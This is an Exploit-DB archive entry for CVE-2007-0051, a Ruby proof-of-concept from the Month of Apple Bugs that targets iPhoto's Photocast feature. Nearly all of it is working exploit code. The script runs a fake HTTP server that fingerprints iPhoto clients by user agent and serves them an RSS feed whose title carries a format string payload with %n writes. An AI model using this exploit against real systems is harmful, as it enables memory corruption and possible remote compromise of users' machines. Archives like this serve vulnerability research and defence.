iLife iPhoto Photocast (XML title) Remote Format String PoC



EDB-ID: 3080 CVE: 2007-0051 OSVDB-ID: 31165
Author: MoAB Published: 2007-01-04 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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#!/usr/bin/ruby
#
# (c) 2006 LMH <lmh [at] info-pull.com>
# bug by Kevin Finisterre <kf_lists [at] digitalmunition.com>
# proof of concept for MOAB-04-01-2007
# see http://projects.info-pull.com/moab/MOAB-04-01-2007.rb

require 'socket'

IPHOTO_FEED = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n" +
              "<rss version=\"2.0\" xmlns:aw=\"http://www.apple.com/ilife/wallpapers\">\r\n" +
              "<channel>\r\n" +
              "<title>" + ("A" * 256) + "%x.%n.%n.%n.%n.%n</title>\r\n" +
              "<item>\r\n" +
              "<title>In Gruber We Trust</title>\r\n" +
              "<aw:image>http://www.digitalmunition.com/digital_munitions_detonator.jpg\r\n" +
              "</aw:image>\r\n" +
              "</item>\r\n" +
              "</channel>\r\n" +
              "</rss>\r\n"

web_port    = (ARGV[0] || 80).to_i

puts "++ Starting fake HTTP server at port #{web_port}."
web_server  = TCPServer.new(nil, web_port)
while (session = web_server.accept)
  user_agent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0]
  session.print "HTTP/1.1 200/OK\r\nServer: Unabomber/1.0\r\n"
  
  # Check if remote user-agent is iPhoto.
  if user_agent.scan(/iPhoto/).size < 1
    puts "-- User connected (#{session.peeraddr[3]}) but not running iPhoto, sending bullshit."
    session.print "Content-type: text/plain\r\n\r\n"
    session.print "All your Aunt Sophia are belong to us."
  else
    puts "++ iPhoto #{user_agent.scan(/iPhoto\/(.+?) /)[0]} user connected (#{session.peeraddr[3]}), " +
         "sending payload (#{IPHOTO_FEED.size} bytes)."
    session.print "Content-type: text/xml\r\n\r\n"
    session.print IPHOTO_FEED
  end

  session.close
end

# milw0rm.com [2007-01-04]